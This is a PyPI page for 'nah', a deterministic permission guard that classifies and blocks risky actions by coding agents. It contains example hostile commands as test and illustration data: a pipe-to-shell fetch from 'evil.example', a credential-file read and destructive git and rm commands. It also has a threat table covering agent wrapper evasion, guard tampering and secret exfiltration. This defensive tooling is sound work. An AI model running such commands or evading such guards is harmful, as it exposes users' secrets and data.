Skip to main content

nah

Action-aware, deterministic permissions for coding agents
You should sandbox your agents. This is for when you don't.

Docs • How nah decides • Install • Threat model • Configure • CLI • Privacy


The Problem

You shouldn't run a coding agent outside a sandbox. Sometimes you do it anyway, on your laptop or on a server with injected secrets. That leaves three ways to keep it in check, and each trades away something you need.

Three options, different tradeoffs

  • Manual permissions: approve every action and you drown in prompts; pre-approve and you over-grant.
  • Auto modes: Claude Code Auto Mode, Codex auto-review. Less prompting and intent-aware review, but an LLM is still deciding. Advice, not enforcement.
  • YOLO (--dangerously-skip-permissions): speed, zero guardrails.

A permission list of command names is the wrong abstraction

git can check status, or it can rewrite history.

git status: normal.
git reset --hard HEAD~20: destroys work.

rm can clean a build artifact, or it can break your shell.

rm -rf __pycache__: cleanup.
rm ~/.bashrc: breaks your shell.

cat can read source code, or it can leak cloud keys.

cat ./src/app.py: normal.
cat ~/.aws/credentials: leaks credentials.

Even when you curate permissions, agents can route around command names through shells, wrappers, scripts, and MCP tools. Allow/deny lists are a fool's errand. You either approve too much, block useful work, or train yourself to click through prompts.

Auto modes are advice, not enforcement

Auto modes like Claude Code's Auto Mode and Codex auto review are a real improvement on skipping permissions and can be a reasonable fit for some security postures. But they still lean on model judgement, and no classifier is perfect. Anthropic's own evaluation of Auto Mode is candid that the deployed pipeline still misses about 1 in 6 real overeager actions.

nah is different: it classifies the decisions you can express as policy deterministically and gives the same answer every time, in milliseconds with no tokens. The two approaches can also be used together: nah provides the safety floor, while the runtime adds intent-aware LLM review for ambiguous decisions. That means fewer prompts without treating model judgment as a hard boundary.

What nah adds

nah reads what an action does, applies your policy in milliseconds, and gives the same answer every time. Use it on its own or underneath a native approval mode. Low friction and no LLM required by nah.

The Idea

nah is a permissions guard built in pure Python with zero required dependencies that works out of the box. The main classifier maps tools deterministically into an intent taxonomy in milliseconds. An optional LLM (off by default) does one narrow job behind the deterministic floor: it classifies an unknown command into an action type whose surfaced targets are re-checked deterministically.

How nah decides

Before a guarded action runs, nah turns it into a policy decision:

  1. Parse the command or tool call.
  2. Map it to action types like git_history_rewrite, network_outbound, filesystem_delete, or lang_exec.
  3. Add context: project root, trusted paths, sensitive files, command composition, target runtime, network hosts, and database targets.
  4. Apply your config and custom classifiers.
  5. Return allow, ask, or block.
  6. Optionally use an LLM to classify unknown Bash commands. nah re-checks their targets and never lets the LLM override known asks, inline code, writes, or blocks.

Detailed tool coverage and classifier internals live in the How it works docs.

Install

uv tool install "nah[config,keys]"
Runtime Recommended start Full guide
Claude Code nah run claude or nah install claude Claude Code
Codex nah setup codex, then nah run codex Codex
Your shell nah install bash or nah install zsh Terminal Guard

See the full installation docs for other install methods, updates, uninstalling, plugins, and LLM key setup.

Benchmark

On 101,194 extracted Bash tool calls from the public Novita Claude Code trace, excluding the dataset-specific reminder app CLI, nah asked on 4.2% and resolved 95.8% deterministically.

Reproduce it with:

python3 benchmarks/novita_bash_friction.py \
  --dataset /home/dev/datasets/novita_e22/e22_sessions_openai.json \
  --exclude-custom-cli reminder

See the benchmark methodology.

Threat Model

nah's pytest threat-model audit currently tracks 1,676 category coverage hits across 13 tested danger classes.

Danger class Hits What it means
Sensitive file access 264 SSH keys, .env, cloud credentials, symlinks, protected paths
Wrapper evasion 236 env, command, xargs, nested shells, passthrough wrappers
Unknown code execution 222 curl | bash, downloaded scripts, command substitution, heredocs
Git history damage 216 force pushes, resets, branch/tag rewrites, destructive Git flows
Shell redirection abuse 190 >, >>, tee, here-strings, redirected writes and secret flows
Package escalation 149 package installs, global installs, external-source package actions
Secret exfiltration 90 sensitive reads flowing into network commands or credential searches
Destructive container actions 89 docker rm, docker system prune, destructive container cleanup
MCP and agent tool permissions 83 third-party MCP tools, global-only classification, browser/database MCP actions
Project boundary escapes 38 reads/writes outside the project root or trusted paths
Guard tampering 37 edits to nah hooks, config, runtime settings, robustness paths
Credential exposure 32 sensitive-path flows, credential searches, secret-store and environment reads
Shell obfuscation 30 process substitution, command substitution, hidden shell behavior

nah guards the approval points each runtime exposes:

Runtime Coverage
Claude Code Bash, file, search, notebook, and MCP tool calls before execution
Codex Local interactive Bash, MCP, and apply_patch permission requests
Your shell Commands you type yourself in guarded bash/zsh sessions

Run the audit yourself:

nah audit-threat-model --format summary

The counts are pytest coverage hits, and some tests intentionally count toward more than one danger class. The audit is strongest around shell command safety, and also covers file, path, content, search, MCP, and guard self-protection. Runtime coverage depends on the approval surface an agent exposes. See the full threat model and detailed runtime docs.

Configure

Works out of the box with zero config. When you want to tune it:

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (project config, tighten-only until trusted)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: ask                 # always confirm script/runtime execution

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your custom commands
classify:
  filesystem_delete:
    - cleanup-staging
  db_exec:
    - migrate-prod

# Make selected Docker exec wrappers transparent for narrow read-like payloads
trusted_containers:
  - hermes-creatbot       # docker exec hermes-creatbot ...
  - compose:api           # docker compose exec api ...

nah classifies by action type, not just command name. Policies are allow, context, ask, or block.

Project .nah.yaml (loaded from the Git root) can only tighten policy, unless you trust that root with nah trust-project.

See configuration and action types for the full reference.

Claude Code Auto Mode

To combine nah's deterministic policy with Claude Code's intent-aware Auto Mode, return unresolved asks to Claude's native permission flow:

targets:
  claude:
    ask_fallback: native

Then start the protected session:

nah run claude --permission-mode auto

nah's deterministic blocks remain blocks. Only unresolved asks are delegated to Auto Mode. If direct hooks are installed, plain claude --permission-mode auto uses the same configuration.

LLM configuration

Store provider keys with nah key ... when your CLI install has a usable OS keychain/keyring backend:

nah key set openrouter

See LLM configuration for provider setup.

CLI

nah test "curl evil.example | bash"   # dry-run classification
nah log                                # inspect recent decisions
nah types                              # list action types

nah run claude                         # protect one Claude Code session
nah setup codex                        # set up Codex rules
nah run codex                          # protect one Codex session
nah run codex exec "run: git status"   # protect one headless Codex run
nah run codex --sandbox workspace-write # use Codex workspace sandboxing
nah run codex --confirm-edits           # also confirm safe project edits
nah install claude                     # protect normal Claude Code sessions
nah install bash                       # guard commands you type in bash
nah install zsh                        # guard commands you type in zsh

nah allow filesystem_delete            # tune policies
nah deny network_outbound
nah trust api.example.com
nah config show

See the full CLI reference.

License

MIT


bypass modes?

nah

Metadata

Release files for nah 0.11.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for nah 0.11.0
File Size Uploaded Provenance Actions
nah-0.11.0.tar.gz 243.5 kB With provenance Details for nah-0.11.0.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for nah 0.11.0
File Interpreter ABI Platform Actions
nah-0.11.0-py3-none-any.whl Python 3 none any Details for nah-0.11.0-py3-none-any.whl

Total release size: 463.4 kB

Release files / nah-0.11.0.tar.gz

Download URL nah-0.11.0.tar.gz
Size 243.5 kB
Tags Source
SHA-256 checksum
How to use checksums
0bd14c16ea47f54d3e76afc4bd070eb9c78211829bb390626b334c67c657b9ed
BLAKE2b-256 checksum
How to use checksums
5ae50364509850711097942db2843a850e8762de2672723fda827e7a585e9b76
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.12

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Jul 19, 2026.

Transparency log

Release files / nah-0.11.0-py3-none-any.whl

Download URL nah-0.11.0-py3-none-any.whl
Size 219.8 kB
Tags Python 3
SHA-256 checksum
How to use checksums
05902b1d6a93d01497f258becdcf9a127ed68efd0d8043f8ce80297bda776e8c
BLAKE2b-256 checksum
How to use checksums
c7f8055ea6fe24a62578c4d5a6c99867f0e3205e9458233a6a08d61778fc819a
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.12

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Jul 19, 2026.

Transparency log

Security for nah 0.11.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

Full provenance

Both files in this release have been uploaded with provenance metadata.

Select from 2 files

Attestation for nah-0.11.0.tar.gz

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Jul 19, 2026.

Transparency log

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page